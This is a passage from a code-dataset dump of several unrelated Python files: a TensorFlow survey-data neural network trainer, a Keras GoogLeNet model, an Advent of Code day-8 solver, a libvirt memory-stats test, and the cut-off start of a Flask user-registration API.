tf.Variable(tf.random_normal(shape=[layerWidths[i-1],\\\n layerWidths[i]], mean=0.0, stddev=a_stdv),name='A')\n layerParams['b'][i] = tf.Variable(tf.zeros(shape=[layerWidths[i]]),name='b') # a 0-rank array?\n logging.info('A%d shape: %s, b%d shape: %s'%(i,layerParams['A'][i].shape,i,layerParams['b'][i].shape))\n # create the 'variable' for the layer output\n if i == 1:\n # first layer, so input is the data\n layerActivs[i] = tf.nn.relu(tf.add(tf.matmul(x_data,layerParams['A'][i]),\\\n layerParams['b'][i]))\n elif i == (hidden_layers+1):\n # last layer, so no activation function\n if num_cdmp_actors > 0:\n # put the influences and utilities together\n zeta_0 = tf.tensordot(wghts, utils, axes = [[1], [1]])\n logging.info(\"zeta_0 shape: %s\" % str(zeta_0.shape))\n # because it is a *tensor*product*, zeta is tensor of shape (BS, BS, NCC)\n # and includes all the mis-matches where weight-vector(i) was used with\n # util-matrix(j), i.e. Every combination of household weights with every\n # other household's utilities. But we only want the ones where they match.\n # this slice, gather, and reshape picks out the zeta vectors along the \n # \"bi == bj\" diagonal.\n slice_ndx = tf.constant([[i,j,k] for i in range(batch_size) \\\n for j in range(batch_size) for k in \\\n range(num_choice_col) if i==j])\n # select the large zeta-tensor into a plain vector\n zeta_v = tf.gather_nd(zeta_0, slice_ndx) \n # NOTE WELL: we do not \"learn\" on zeta.\n # reshape that vector into the desired vectors\n layerActivs[i] = tf.reshape(zeta_v, [batch_size, num_choice_col])\n logging.info(\"After contraction-by-selection, shape of Zeta: %s\" % (layerActivs[i].shape))\n else:\n layerActivs[i] = tf.add(tf.matmul(layerActivs[i-1], layerParams['A'][i]),\\\n layerParams['b'][i])\n else:\n # hidden layer, so apply the activation function ...\n layerActivs[i] = tf.nn.relu(tf.add(tf.matmul(layerActivs[i-1],layerParams['A'][i]),\\\n layerParams['b'][i]))\n # ... then add dropout to the hidden layer\n layerActivs[i] = tf.nn.dropout(layerActivs[i], keepProb)\n logging.info('Activ%d shape: %s'%(i,layerActivs[i].shape))\n \n # ---------------------------------------------\n #%%\n # note that 'labels' are real numbers in [0,1] interval,\n # logits are in (-inf, +inf)\n with tf.name_scope('Loss'):\n loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels = y_trgt, logits = layerActivs[-1]))\n losSummary = tf.summary.scalar('Loss', loss)\n \n with tf.name_scope('Train'):\n regularizer = tf.add_n([tf.nn.l2_loss(A) for A in layerParams['A'].values()])\n if optimMeth == 'GD':\n my_opt = tf.train.GradientDescentOptimizer(learnRate)\n elif optimMeth == 'RMSPROP':\n my_opt = tf.train.RMSPropOptimizer(learnRate,momentum=optimBetas[0])\n elif optimMeth == 'ADAM':\n my_opt = tf.train.AdamOptimizer(learnRate,beta1=optimBetas[0],beta2=optimBetas[1]) \n else:\n raise ValueError('Optimizer can only be \"GD\", \"RMSPROP\", or \"ADAM\"!')\n train_step = my_opt.minimize(loss + regulRate*regularizer/(2*batch_size))\n \n # ---------------------------------------------\n #%%\n # record standard classification performance metrics\n # note that these require integer labels *not* OHE!\n with tf.name_scope('Eval'):\n _,accuracy = tf.metrics.accuracy(y_dec,yhat_dec)\n _,precision = tf.metrics.precision(y_dec,yhat_dec)\n _,recall = tf.metrics.recall(y_dec,yhat_dec)\n F1 = 2*tf.divide(tf.multiply(precision,recall),0.0001+tf.add(precision,recall))\n # define the writer summaries\n accSummary = tf.summary.scalar('Accuracy', accuracy)\n preSummary = tf.summary.scalar('Precision', precision)\n recSummary = tf.summary.scalar('Recall', recall)\n f1sSummary = tf.summary.scalar('F1',F1)\n perfSumm = tf.summary.merge([accSummary,preSummary,recSummary,f1sSummary])\n \n # ---------------------------------------------\n #%%\n # finally perform the training simulation\n # setup for results & model serialization\n writer = tf.summary.FileWriter(os.getcwd()+'/log/train/'+log_file_name, sess.graph)\n writer.add_summary(parmSumm.eval(session=sess))\n devWriter = tf.summary.FileWriter(os.getcwd()+'/log/dev/'+log_file_name,sess.graph)\n devWriter.add_summary(parmSumm.eval(session=sess))\n \n sess.run([tf.global_variables_initializer(),tf.local_variables_initializer()])\n # The saver object will save all the variables\n saver = tf.train.Saver()\n \n # randomly generate the minibatches all at once\n batchIndxs = np.random.randint(0,num_train_rows,(epochs['epochMax'],batch_size))\n \n # set up for moving averages\n theta = 0.010 # weight on new value - only for printing/plotting MAs\n loss_ma = 0.0; train_ma = [0.0]*4 # accuracy, precision, recall, F1\n \n loss_vec = [0.0]*epochs['epochMax']\n train_vec = [[0.0]*4 for _ in range(epochs['epochMax'])] # will record accuracy, precision, recall, F1\n \n print_freq = epochs['epochMax']//10 # control console print & checkpoint frequency\n save_freq = epochs['epochMax']//5 # control tensorboard save frequency\n for i in range(epochs['epochMax']):\n # get this minibatch\n rand_x = x_vals_train[batchIndxs[i],:]\n rand_y = y_vals_train[batchIndxs[i],:]\n rand_y_dec = y_dec_train[batchIndxs[i]]\n # compute the adaptive learning rate\n learnRateAdapt = learn_rate*(1+learn_rate_decay*i)\n # train on this batch, and record loss on it\n xy_dict = {x_data:rand_x, y_trgt:rand_y, learnRate:learnRateAdapt,\\\n keepProb:dropoutKeep, y_dec:rand_y_dec}\n \n # train, get the loss & it's summary, and predictions\n _,tmp_loss,classProbs = sess.run([train_step,loss,tf.nn.softmax(layerActivs[-1])],\\\n feed_dict = xy_dict)\n pred = kl.predFromProb(classProbs)\n \n # need to handle nan loss\n if np.isnan(tmp_loss):\n loss_vec[i] = np.inf\n train_vec[i] = [0.0,0.0,0.0,0.0]\n # save summary stats\n xy_dict[yhat_dec] = pred\n l,p = sess.run([losSummary,perfSumm], xy_dict)\n writer.add_summary(l,i)\n writer.add_summary(p,i)\n logging.info('Early termination due to nan loss on epoch %u!'%i)\n break\n \n xy_dict[yhat_dec] = pred\n # compute the evaulation metrics\n tmp_acc_train,tmp_pre_train,tmp_rec_train,tmp_f1s_train = sess.run(\\\n [accuracy,precision,recall,F1], xy_dict)\n # smooth it all\n loss_ma = kl.smooth(loss_ma, tmp_loss, theta, (0 == i))\n loss_vec[i]=loss_ma\n train_ma[0] = kl.smooth(train_ma[0], tmp_acc_train, theta, (0 == i))\n train_ma[1] = kl.smooth(train_ma[1], tmp_pre_train, theta, (0 == i))\n train_ma[2] = kl.smooth(train_ma[2], tmp_rec_train, theta, (0 == i))\n train_ma[3] = kl.smooth(train_ma[3], tmp_f1s_train, theta, (0 == i))\n train_vec[i] = train_ma.copy()\n \n if (0 == i % print_freq): \n logging.info(\"Smoothed step %u/%u, train batch loss: %0.4f\\n\\ttrain batch perf: acc=%0.4f,pre=%0.4f,rec=%0.4f,F1=%0.4f\"% \n (i, epochs['epochMax'], loss_ma, *train_ma))\n # checkpoint progress\n saver.save(sess, os.getcwd()+'/log/'+log_file_name+'_ckpt', global_step=i)\n if i % save_freq == 0:\n # save summary stats\n l,p = sess.run([losSummary,perfSumm], xy_dict)\n writer.add_summary(l,i)\n writer.add_summary(p,i)\n \n # check for early termination\n if i > epochs['epochMin']:\n if abs(loss_vec[i]/loss_vec[i-epochs['epochLB']]-1) <= epochs['convgCrit']:\n logging.info('Early termination on epoch %d: relative smoothed loss diff. between %0.6f and %0.6f < %0.6f'%\\\n (i,loss_vec[i],loss_vec[i-epochs['epochLB']],epochs['convgCrit']))\n # if terminating early, save the last status\n if i% save_freq != 0:\n l,p = sess.run([losSummary,perfSumm], xy_dict)\n writer.add_summary(l,i)\n writer.add_summary(p,i)\n break\n \n # ---------------------------------------------\n # compute and display the performance metrics for the dev set\n logging.info('Computing Dev Set Performance Metrics...')\n if num_cdmp_actors > 0:\n # get the number of rows short of an even number of batches\n rowsToAdd = (1+x_vals_deve.shape[0]//batch_size)*batch_size - x_vals_deve.shape[0]\n if (rowsToAdd > 0) and (rowsToAdd != batch_size):\n batchesX = np.r_[x_vals_deve,x_vals_deve[-rowsToAdd:,:]]\n batchesY = np.r_[y_vals_deve,y_vals_deve[-rowsToAdd:,:]]\n batchesYD = np.r_[y_dec_deve,y_dec_deve[-rowsToAdd:]]\n else:\n batchesX = x_vals_deve; batchesY = y_vals_deve; batchesYD = y_dec_deve\n # create the minibatches\n bX = np.split(batchesX,batchesX.shape[0]/batch_size,axis=0)\n bY = np.split(batchesY,batchesX.shape[0]/batch_size,axis=0)\n bYD = np.split(batchesYD,batchesX.shape[0]/batch_size,axis=0)\n # process the minibatches\n classProbs = []\n for x,y,yd in zip(bX,bY,bYD):\n xy_dict = {x_data:x, y_trgt:y, keepProb:1.0, y_dec:yd}\n classProbs.extend(sess.run(tf.nn.softmax(layerActivs[-1]), xy_dict))\n classProbs = np.r_[classProbs]\n # now remove the extra repeated observations at the end\n if (rowsToAdd > 0) and (rowsToAdd != batch_size):\n classProbs = classProbs[:(x_vals_deve.shape[0])]\n # finally build the new dictionary for model evaluation\n xy_dict = {x_data:x_vals_deve, y_trgt:y_vals_deve, y_dec:y_dec_deve,\\\n keepProb:1.0}\n xy_dict[yhat_dec] = kl.predFromProb(classProbs)\n else:\n xy_dict = {x_data:x_vals_deve, y_trgt:y_vals_deve, keepProb:1.0, y_dec:y_dec_deve}\n classProbs = sess.run(tf.nn.softmax(layerActivs[-1]), xy_dict)\n xy_dict[yhat_dec] = kl.predFromProb(classProbs)\n acc_deve,pre_deve,rec_deve,f1s_deve,summ = sess.run([accuracy,precision,\\\n recall,F1,perfSumm],xy_dict)\n \n # convert integer class labels to OHE matrix\n prd = tf.placeholder(shape=xy_dict[yhat_dec].shape, dtype=tf.int32)\n OHE = tf.one_hot(prd,num_choice_col)\n predOHE = sess.run(OHE,feed_dict = {prd:xy_dict[yhat_dec]})\n \n # save the summary stats\n devWriter.add_summary(summ,epochs['epochMax']+1)\n \n #%%\n # display final training set performance metrics\n logging.info('Final Training Set Performance')\n logging.info('\\tAccuracy = %0.4f'%train_vec[i][0])\n logging.info('\\tPrecision = %0.4f'%train_vec[i][1])\n logging.info('\\tRecall = %0.4f'%train_vec[i][2])\n logging.info('\\tF1 = %0.4f'%train_vec[i][3])\n \n # display final dev set performance metrics\n logging.info('Final Dev Set Performance')\n logging.info('\\tAccuracy = %0.4f'%acc_deve)\n logging.info('\\tPrecision = %0.4f'%pre_deve)\n logging.info('\\tRecall = %0.4f'%rec_deve)\n logging.info('\\tF1 = %0.4f'%f1s_deve)\n \n logging.info('Actl. Counts by Class: %r'%np.sum(y_vals_deve,axis=0,dtype=int).tolist())\n logging.info('Pred. Counts by Class: %r'%np.sum(predOHE,axis=0,dtype=int).tolist())\n # save dev set actuals & preds - might not want to do this permanently\n np.savetxt(os.getcwd()+'/out/'+log_file_name+'_actu_pred.csv',np.c_[y_vals_deve,predOHE],'%d',\\\n header='first %d columns are actuals, the rest are predictions'%num_choice_col)\n \n # ---------------------------------------------\n #%%\n # Display performance plots\n # loss\n plt.figure()\n plt.plot(loss_vec[:(i+1)], 'k-')\n plt.title('Smoothed Cross Entropy Loss')\n plt.xlabel('Generation')\n plt.ylabel('Cross Entropy Loss, EMA')\n plt.show()\n plt.savefig(os.getcwd()+'/out/'+log_file_name+'_loss'+'.png')\n \n # classification performances\n plt.figure()\n plt.plot(train_vec[:(i+1)])\n plt.title('Smoothed Performance Metrics')\n plt.xlabel('Generation')\n plt.ylabel('Metrics, EMA')\n plt.legend(['Accuracy','Precision','Recall','F1'],loc='lower right')\n plt.show()\n plt.savefig(os.getcwd()+'/out/'+log_file_name+'_perf'+'.png')\n \n # ---------------------------------------------\n #%%\n # close out the session and save the event-files\n writer.close(); devWriter.close()\n # serialize final model results\n saver.save(sess, os.getcwd()+'/log/'+log_file_name+'_final')\n sess.close()\n \n sys.stdout.flush()\n logging.info('')\n etime = datetime.datetime.now()\n dtime = etime - stime\n logging.info(\"RunNN end time: \" + etime.strftime(\"%Y-%m-%d %H:%M:%S\") )\n logging.info(\"RunNN elapsed time: \" + str(dtime))\n logging.info('Outputs saved with prefix: %s'%log_file_name)\n sys.stdout.flush()\n \n return [loss_vec[:(i+1)],acc_deve, pre_deve, rec_deve, f1s_deve]\n # ---------------------------------------------\n #%%\n \n \ndef ReadData(dataInput):\n '''\n Read in the CSV-formatted data text file. Format is:\n header line: # rows, # columns independent vars, # columns dependent vars, seed if data is sim'd\n all else: all independent data; all dependent data\n '''\n \n try:\n csvfile = open(dataInput, newline='')\n except FileNotFoundError as e:\n logging.info('data input file %s not found!'%dataInput)\n raise e\n csv_data = []\n csv_data_obj = csv.reader(csvfile, delimiter=',', quotechar='|')\n for row in csv_data_obj:\n csv_data.append(row)\n \n # read and parse the header row\n # The data file format will have to be changed to (num_rows, num_data, num_choice)\n logging.info('csv length: ' + str(len(csv_data)))\n survey_headers = [int(x) for x in csv_data[0]] # Num rows, # indep vars, # dep vars\n num_rows = survey_headers[0]\n logging.info(\"expected num_rows: %u\" % (num_rows))\n num_indeps = survey_headers[1]\n logging.info(\"expected num_indeps: %u\" % (num_indeps))\n num_deps = survey_headers[2]\n logging.info(\"expected num_deps: %u\" % (num_deps))\n if len(survey_headers) == 4:\n logging.info('generating seed: %u'%survey_headers[-1])\n \n # parse data\n survey_list = csv_data[1:] # list of lists\n data_len = len(survey_list)\n logging.info('survey data length: ' + str(data_len)) \n survey_data = [ [float(x) for x in y] for y in survey_list ]\n x_data = np.array([x[0:num_indeps] for x in survey_data]) # [0,6) == [0,5] \n y_data = np.array([y[num_indeps:num_indeps+num_deps] for y in survey_data])\n # x_headers = [h for h in survey_headers[1:6]] \n logging.info('x-shape: ' + str(x_data.shape))\n logging.info('y-shape: ' + str(y_data.shape)) \n \n return x_data, y_data\n\n\n\ndef ReadModel(modelInput):\n '''\n Read in from a text file the parameters for a NN run. There may be parameters\n for multiple runs. Format is:\n first line = integer: number of parameter sets in 11 lines per set\n scenName = string: psuedorandom 'name' for the scenario\n prng_seed = int: psuedo random-number generator seed\n num_cdmp_actors = int: if 0, non-CDMP is used\n epochs = [int, int, int, float]: epochMax, epochMin, epochLookback, convgCrit\n trainPerc, devePerc = two floats: sum to 1 and split the data\n batch_size = int: batch size for training\n learn_rate, learn_rate_decay = [float float]: learning rate for the optimizer\n tand it's decay\n regulRate = float: regularization rate\n hiddenLayerWs = list of floats: widths of all hidden layers, relative to size\n of input data\n optimMeth,optimBetas = [string, float, float]: name of optimizer: GD, RMSPROP,\n or ADAM; if not 'GD', the floats are the momentums (if 'GD', just put 0.0s)\n dropoutKeep = float: proportion of data to keep in dropout; 1.0=no dropout\n \n Returns a model runs descriptive text and a list of parameter dicts\n '''\n \n param = {'scenName':None,'prng_seed':None,'num_cdmp_actors':None,\\\n 'epochs':None,'trainPerc':None,'devePerc':None,\\\n 'batch_size':None,'learn_rate':None,'learn_rate_decay':None,\\\n 'regulRate':None,'hiddenLayerWs':None,'optimMeth':None,\\\n 'optimBetas':None,'dropoutKeep':None}\n\n try:\n with open(modelInput,'rt') as f:\n # first line is a descriptive comment, so just read it in and print it\n descrip = f.readline().rstrip('\\n')\n # first get the number of runs\n runs = int(f.readline().rstrip('\\n'))\n # read in each set of parameters\n params = [param.copy() for _ in range(runs)]\n for i in range(runs):\n params[i]['scenName'] = f.readline().rstrip('\\n')\n params[i]['prng_seed'] = int(f.readline().rstrip('\\n'))\n params[i]['num_cdmp_actors'] = int(f.readline().rstrip('\\n'))\n tmp = list(f.readline().rstrip('\\n').split())\n params[i]['epochs'] = {'epochMax':int(tmp[0]), 'epochMin':int(tmp[1]),\\\n 'epochLB':int(tmp[2]), 'convgCrit':float(tmp[3])}\n tmp = list(map(float, f.readline().rstrip('\\n').split()))\n params[i]['trainPerc'] = tmp[0]\n params[i]['devePerc'] = tmp[1]\n params[i]['batch_size'] = int(f.readline().rstrip('\\n'))\n tmp = list(map(float, f.readline().rstrip('\\n').split()))\n params[i]['learn_rate'] = tmp[0]\n params[i]['learn_rate_decay'] = tmp[1]\n params[i]['regulRate'] = float(f.readline().rstrip('\\n'))\n params[i]['hiddenLayerWs'] = list(map(float, f.readline().rstrip('\\n').split()))\n tmp = list(f.readline().rstrip('\\n').split())\n params[i]['optimMeth'] = tmp[0]\n params[i]['optimBetas'] = [float(a) for a in tmp[1:]]\n params[i]['dropoutKeep'] = float(f.readline().rstrip('\\n'))\n except FileNotFoundError as e:\n logging.info('model input file %s not found!'%modelInput)\n raise e \n\n return descrip,params\n\nif __name__ == '__main__':\n #prng_seed = 831931061 # reproducible\n #prng_seed = 0 # irreproducible\n #prng_seed = 42\n\n # first need to get the data & model parameters input files \n dataInput = sys.argv[1]\n modelInput = sys.argv[2]\n \n # setup logger\n log = os.getcwd() + '/out/'+dataInput.replace('.','').replace('/','')+\\\n '_'+modelInput.replace('.','').replace('/','')+'.log'\n try:\n os.mkdir(os.getcwd()+'/out')\n except FileExistsError:\n pass \n lev = logging.INFO\n fmt = '%(message)s'\n hnd = [logging.FileHandler(log, mode='w'),logging.StreamHandler()]\n logging.basicConfig(level=lev,format=fmt,handlers=hnd)\n \n stt = datetime.datetime.now()\n logging.info('Reading data from: %s'%dataInput)\n x_data,y_data = ReadData(dataInput)\n \n logging.info('Reading model parameters from %s'%modelInput)\n descrip,params = ReadModel(modelInput)\n \n # run the model(s)\n logging.info('----------\\nRunning model inputs: %s\\n----------'%descrip)\n lossDevSetPerfs = [None]*len(params)\n for i,p in enumerate(params):\n plt.close('all')\n lossDevSetPerfs[i] = RunNN(x_data, y_data, p['epochs'], p['prng_seed'],\\\n p['trainPerc'], p['devePerc'], p['learn_rate'], \\\n p['learn_rate_decay'],p['regulRate'],\\\n p['batch_size'], p['num_cdmp_actors'], p['hiddenLayerWs'],\\\n p['optimMeth'],p['optimBetas'],p['dropoutKeep'],p['scenName'])\n\n # print elapsed time\n logging.info('----------\\nTotal Elapsed Time: %s\\n----------'%(datetime.datetime.now()-stt))\n logging.info('Modeling run log printed to '+log)\n \n''' \n# debug setup\nepochs = params[0]['epochs']\nprng_seed = params[0]['prng_seed']\ntrainPerc = params[0]['trainPerc']\ndevePerc = params[0]['devePerc']\nlearn_rate = params[0]['learn_rate']\nlearn_rate_decay = params[0]['learn_rate_decay']\nregulRate = params[0]['regulRate']\nbatch_size = params[0]['batch_size']\nnum_cdmp_actors = params[0]['num_cdmp_actors']\nhiddenLayerWs = params[0]['hiddenLayerWs']\noptimMeth = params[0]['optimMeth']\noptimBetas=params[0]['optimBetas']\ndropoutKeep = params[0]['dropoutKeep']\nscenName = params[0]['scenName']\n''' \n \n# ---------------------------------------------\n# Copyright KAPSARC. Open source MIT License.\n# ---------------------------------------------\n","repo_name":"Imtenan/KTAB-DeepLearn","sub_path":"survey_KT.py","file_name":"survey_KT.py","file_ext":"py","file_size_in_byte":26837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31508201780","text":"import tensorflow as tf\n\n\nclass Inception(tf.keras.layers.Layer):\n def __init__(self, c1, c2, c3, c4):\n super().__init__()\n # 线路1,单1 x 1卷积层\n self.p1_1 = tf.keras.layers.Conv2D(c1, kernel_size=1, activation='relu', padding='same')\n # 线路2,1 x 1卷积层后接3 x 3卷积层\n self.p2_1 = tf.keras.layers.Conv2D(c2[0], kernel_size=1, padding='same', activation='relu')\n self.p2_2 = tf.keras.layers.Conv2D(c2[1], kernel_size=3, padding='same',\n activation='relu')\n # 线路3,1 x 1卷积层后接5 x 5卷积层\n self.p3_1 = tf.keras.layers.Conv2D(c3[0], kernel_size=1, padding='same', activation='relu')\n self.p3_2 = tf.keras.layers.Conv2D(c3[1], kernel_size=5, padding='same',\n activation='relu')\n # 线路4,3 x 3最大池化层后接1 x 1卷积层\n self.p4_1 = tf.keras.layers.MaxPool2D(pool_size=3, padding='same', strides=1)\n self.p4_2 = tf.keras.layers.Conv2D(c4, kernel_size=1, padding='same', activation='relu')\n\n def call(self, x):\n p1 = self.p1_1(x)\n p2 = self.p2_2(self.p2_1(x))\n p3 = self.p3_2(self.p3_1(x))\n p4 = self.p4_2(self.p4_1(x))\n return tf.concat([p1, p2, p3, p4], axis=-1) # 在通道维上连结输出\n\n\ndef build_googlenet():\n b1 = tf.keras.models.Sequential()\n b1.add(tf.keras.layers.Conv2D(64, kernel_size=7, strides=2, padding='same', activation='relu'))\n b1.add(tf.keras.layers.MaxPool2D(pool_size=3, strides=2, padding='same'))\n\n\n b2 = tf.keras.models.Sequential()\n b2.add(tf.keras.layers.Conv2D(64, kernel_size=1, padding='same', activation='relu'))\n b2.add(tf.keras.layers.Conv2D(192, kernel_size=3, padding='same', activation='relu'))\n b2.add(tf.keras.layers.MaxPool2D(pool_size=3, strides=2, padding='same'))\n\n b3 = tf.keras.models.Sequential()\n b3.add(Inception(64, (96, 128), (16, 32), 32))\n b3.add(Inception(128, (128, 192), (32, 96), 64))\n b3.add(tf.keras.layers.MaxPool2D(pool_size=3, strides=2, padding='same'))\n\n b4 = tf.keras.models.Sequential()\n b4.add(Inception(192, (96, 208), (16, 48), 64))\n b4.add(Inception(160, (112, 224), (24, 64), 64))\n b4.add(Inception(128, (128, 256), (24, 64), 64))\n b4.add(Inception(112, (144, 288), (32, 64), 64))\n b4.add(Inception(256, (160, 320), (32, 128), 128))\n b4.add(tf.keras.layers.MaxPool2D(pool_size=3, strides=2, padding='same'))\n\n b5 = tf.keras.models.Sequential()\n b5.add(Inception(256, (160, 320), (32, 128), 128))\n b5.add(Inception(384, (192, 384), (48, 128), 128))\n b5.add(tf.keras.layers.GlobalAvgPool2D())\n net = tf.keras.models.Sequential([b1, b2, b3, b4, b5, tf.keras.layers.Dense(10,activation='softmax')])\n return net\n","repo_name":"Flowingsun007/DeepLearningTutorial","sub_path":"ImageClassification/network/GoogLenet.py","file_name":"GoogLenet.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"18"} +{"seq_id":"3906423724","text":"import timeit\n\n# --------------------- SIMULATING PROGRAM EXECUTION ---------------------\n\ndef parseNumber(line) -> int:\n sign = 1 if \"+\" in line else -1\n number = int(line[5:])\n return number * sign\n\ndef simulateLine(i, program):\n line = program[i].strip()\n return i + 1 if \"jmp\" not in line else i + parseNumber(line)\n\ndef simulateInstruction(i, globalCounter, program):\n line = program[i].strip()\n i += 1 if \"jmp\" not in line else parseNumber(line)\n globalCounter += parseNumber(line) if \"acc\" in line else 0\n return i, globalCounter\n\ndef simulateCode(program) -> (int, int):\n i, accumulator = 0, 0\n visited = [0 for i in range(len(program))]\n while True:\n if i >= len(program):\n return (1, accumulator)\n if visited[i]:\n return (-1, accumulator)\n visited[i] = 1\n i, accumulator = simulateInstruction(i, accumulator, program)\n\n# --------------------- COMPUTING EXITING STATES ---------------------\n\ndef computeExitingIterative(program):\n # I use a trick here to avoid having to update every value after\n # every cycle - using lists to have a mutable variable (reference).\n # -> This simulates a pointer.\n #\n # By using lists as the cycleResult, I can make each instruction\n # visited reference the cycleResult of the cycle that it is part of.\n #\n # Then, when a cycle is complete, that cycleResult is updated and\n # all of the instructions in that cycle now hold that value.\n\n exiting = [None for i in range(len(program))]\n for i in range(len(program)):\n cycleResult = []\n lineIdx = i\n while len(cycleResult) is 0:\n if lineIdx >= len(program):\n cycleResult.append(1)\n elif exiting[lineIdx] is not None:\n # If visited and not previously computed, there is a cycle\n if len(exiting[lineIdx]) is 0:\n exiting[lineIdx] = cycleResult\n cycleResult.append(-1)\n # If visited and previously computed, use that value.\n elif len(exiting[lineIdx]) > 0:\n cycleResult.append(exiting[lineIdx][0])\n else:\n exiting[lineIdx] = cycleResult\n lineIdx = simulateLine(lineIdx, program)\n return [i[0] for i in exiting]\n\ndef generateExitingRecursive(i, program, exiting, visited):\n if i >= len(program):\n return 1\n # If previously computed, return that value\n if exiting[i] != 0:\n return exiting[i]\n # If previously visited, cycle detected\n if visited[i]:\n exiting[i] = -1\n return -1\n visited[i] = True\n newIdx = simulateLine(i, program)\n exiting[i] = generateExitingRecursive(newIdx, program, exiting, visited)\n return exiting[i]\n\ndef computeExitingRecursive(program, exiting, visited):\n for i in range(len(program)):\n generateExitingRecursive(i, program, exiting, visited)\n\n# --------------------- FIXING THE PROGRAM ---------------------\n\ndef verifyProgram(i, program):\n swap = {\"jmp\":\"nop\", \"nop\":\"jmp\"}\n attempt = program.copy()\n attempt[i] = swap[attempt[i][:3]] + attempt[i][3:]\n return simulateCode(attempt)\n\n# Time Complexity: O(N^2)\ndef fixProgramBrute(program) -> int:\n swap = {\"jmp\":\"nop\", \"nop\":\"jmp\"}\n for i in range(len(program)):\n if program[i][0:3] not in swap:\n continue\n success, result = verifyProgram(i, program)\n if success is 1:\n return result\n\n# Time Complexity: O(N)\ndef fixProgramLinear(exiting, program) -> int:\n swap = {\"jmp\":\"nop\", \"nop\":\"jmp\"}\n visited = [0 for i in range(len(program))]\n i = 0\n while True:\n if visited[i]:\n i += 1\n continue\n visited[i] = True\n if program[i][0:3] not in swap:\n continue\n offset = 1 if \"jmp\" in program[i] else parseNumber(program[i])\n if exiting[i + offset] == 1:\n success, result = verifyProgram(i, program)\n return result\n i = simulateLine(i, program)\n\ndef fixProgramIterative(program) -> int:\n return fixProgramLinear(computeExitingIterative(program), program)\n\ndef fixProgramRecursive(program) -> int:\n exiting = [0 for i in range(len(program))]\n visited = [False for i in range(len(program))]\n computeExitingRecursive(program, exiting, visited)\n return fixProgramLinear(exiting, program)\n\n# --------------------- TIMING AND RUNNING VARIATIONS ---------------------\n\ndef wrapper(func, *args, **kwargs):\n def wrapped():\n return func(*args, **kwargs)\n return wrapped\n\nwith open('input.in', 'r') as f:\n program = f.readlines()\n success, result = simulateCode(program)\n print(f\"Program terminated with: {success}. The final value was: {result}\")\n\n functions = [fixProgramBrute, fixProgramRecursive, fixProgramIterative]\n for f in functions: print(f\"Program terminated with: 0. The final value was: {f(program)}\")\n\n times = []\n approaches = [\"brute force\", \"recursive\", \"iterative\"]\n timeChange = lambda x, y: 100 *(1.0 - float(x)/float(y))\n for i in range(len(functions)):\n t = timeit.timeit(wrapper(functions[i], program), number=10) / 10.0\n times.append(t)\n print(f\"Time taken for {approaches[i]} approach: {t}s\")\n if i > 0:\n print((\"Time improvement on previous best for %s: %.2f\" % (approaches[i], timeChange(times[i], min(times[0:i])))) + \"%\")\n print()\n","repo_name":"evanSpendlove/AdventOfCode","sub_path":"2020/day_8/day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"3854875254","text":"from libvirt import libvirtError\n\nfrom libvirttestapi.src import sharedmod\nfrom libvirttestapi.utils import utils\n\nrequired_params = ('guestname', )\noptional_params = {}\n\nVIRSH = \"virsh qemu-monitor-command\"\n\n\ndef get_memory_actual(guestname):\n \"\"\"get memory stats with virsh commands\n \"\"\"\n qmp_actual = -1\n cmd = \"%s %s '{ \\\"execute\\\": \\\"query-balloon\\\" }'\" % (VIRSH, guestname)\n logger.info(\"check memory stats with virsh command: %s\" % cmd)\n ret, out = utils.exec_cmd(cmd, shell=True)\n out_dict = eval(out[0])\n if \"return\" in out_dict:\n if \"actual\" in out_dict['return']:\n qmp_actual = out_dict['return']['actual']\n else:\n return False\n\n if qmp_actual == -1:\n return False\n\n logger.info(\"the memory actual is: %s\" % qmp_actual)\n return qmp_actual\n\n\ndef memory_stats(params):\n \"\"\"get domain memory stats\n \"\"\"\n global logger\n logger = params['logger']\n guestname = params['guestname']\n\n logger.info(\"the name of virtual machine is %s\" % guestname)\n\n conn = sharedmod.libvirtobj['conn']\n\n try:\n domobj = conn.lookupByName(guestname)\n mem = domobj.memoryStats()\n logger.info(\"%s memory stats is: %s\" % (guestname, mem))\n ret = get_memory_actual(guestname)\n if not ret:\n logger.error(\"get memory actual with qmp command failed\")\n return 1\n\n if ret == mem['actual'] * 1024:\n logger.info(\"actual memory is equal to output of qmp command\")\n else:\n logger.error(\"actual memory is not equal to output of qmp command\")\n return 1\n\n except libvirtError as e:\n logger.error(\"libvirt call failed: \" + str(e))\n return 1\n\n return 0\n","repo_name":"libvirt/libvirt-test-API","sub_path":"libvirttestapi/repos/domain/memory_stats.py","file_name":"memory_stats.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"37826957887","text":"from flask import Flask, jsonify, request, render_template\nfrom flask_restful import Resource, Api, reqparse\nimport json\nimport requests\nfrom cryptography.fernet import Fernet\n\nBASE = \"http://127.0.0.1:5000/\"\n\napp = Flask(__name__)\napi = Api(app)\n\n\n\n#################### USERS TABLE #######################################################################################\ngamzeZoneApiUsersParser = reqparse.RequestParser()\ngamzeZoneApiUsersParser.add_argument(\"email\", type=str, help=\"Email of user trying to register\", required=True)\ngamzeZoneApiUsersParser.add_argument(\"password\", type=str, help=\"Password of user trying to register\", required=True)\ngamzeZoneApiUsersParser.add_argument(\"type\", type=str, help=\"Type of request (ADD_USER)\", required=True)\nclass GameZoneApiUsers(Resource):\n\n\n def get(self, id=\"all\"):\n with open('users.bin', 'rb') as file:\n data = file.read()\n fernet = keyLoader()\n decMessage = json.loads(fernet.decrypt(data))\n if id != \"all\":\n if \"&\" in id:\n return checkLogin(id.split(\"&\")[0], id.split(\"&\")[1])\n else:\n try:\n return decMessage[id]\n except json.decoder.JSONDecodeError:\n return \"No data for this id\", 402\n else:\n try:\n return decMessage\n except KeyError:\n return \"Data not found\", 401\n\n #\n def post(self, id = \"all\"):\n args = gamzeZoneApiUsersParser.parse_args()\n response = requests.get(BASE + \"users\")\n jsonObj = response.json()\n if (args['type'] == \"ADD_USER\"):\n if args['email'] in response.json().keys():\n return \"This email already exists\"\n else:\n newUserID = response.json()[list(response.json().keys())[-1]][\"user_id\"]\n dict = {\"user_id\" : 